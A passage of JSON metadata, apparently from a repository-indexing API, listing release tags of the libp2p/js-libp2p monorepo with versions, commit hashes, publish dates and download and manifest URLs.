p2p/js-libp2p/releases/tag/websockets-v10.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.10/manifests"},{"name":"webrtc-v6.0.18","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.18/manifests"},{"name":"utils-v7.0.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.0.17/manifests"},{"name":"upnp-nat-v4.0.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.17/manifests"},{"name":"transport-interop-libp2p-main-v1.0.19","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.19/manifests"},{"name":"tls-v3.0.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.0.17/manifests"},{"name":"tcp-v11.0.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.17/manifests"},{"name":"simple-metrics-v2.0.14","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.14/manifests"},{"name":"record-v4.0.12","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/record-v4.0.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/record-v4.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@record-v4.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/record-v4.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/record-v4.0.12/manifests"},{"name":"prometheus-metrics-v5.0.18","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.18/manifests"},{"name":"pnet-v3.0.18","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.18/manifests"},{"name":"plaintext-v3.0.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.17/manifests"},{"name":"ping-v3.1.2","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.2/manifests"},{"name":"perf-v5.1.2","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.2/manifests"},{"name":"peer-store-v12.0.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.17/manifests"},{"name":"peer-record-v9.0.9","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.9/manifests"},{"name":"peer-id-v6.0.8","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.8/manifests"},{"name":"peer-collections-v7.0.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.17/manifests"},{"name":"opentelemetry-metrics-v2.0.18","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.18/manifests"},{"name":"multistream-select-v7.0.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.17/manifests"},{"name":"mplex-v12.0.18","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.18/manifests"},{"name":"memory-v2.0.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.17/manifests"},{"name":"mdns-v12.0.18","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.18/manifests"},{"name":"logger-v6.2.6","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.6/manifests"},{"name":"libp2p-v3.2.2","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.2.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.2.2/manifests"},{"name":"keychain-v6.0.14","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.0.14/manifests"},{"name":"kad-dht-v16.2.2","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.2.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.2/manifests"},{"name":"interop-v14.0.19","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.19/manifests"},{"name":"interface-v3.2.2","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-v3.2.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.2.2/manifests"},{"name":"interface-internal-v3.1.2","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.2/manifests"},{"name":"interface-compliance-tests-v7.0.18","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.18/manifests"},{"name":"integration-tests-v1.2.2","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.2/manifests"},{"name":"identify-v4.1.2","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.2/manifests"},{"name":"gossipsub-v15.0.19","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v15.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v15.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v15.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.19/manifests"},{"name":"floodsub-v11.0.18","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.18/manifests"},{"name":"fetch-v4.1.2","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.2/manifests"},{"name":"echo-v3.1.2","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.2/manifests"},{"name":"dcutr-v3.0.17","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.17/manifests"},{"name":"daemon-v6.0.19","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.19/manifests"},{"name":"daemon-server-v9.0.19","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.19/manifests"},{"name":"daemon-protocol-v8.0.7","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-protocol-v8.0.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-protocol-v8.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-protocol-v8.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.7/manifests"},{"name":"daemon-client-v10.0.19","sha":"500287203be48756d4fa06e54c7f50eb1ea02807","kind":"commit","published_at":"2026-04-16T18:31:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.19","dependencies_p